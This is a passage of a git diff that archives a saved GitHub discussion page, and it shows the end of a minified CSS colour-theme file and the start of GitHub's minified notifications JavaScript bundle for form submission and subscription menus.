#7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 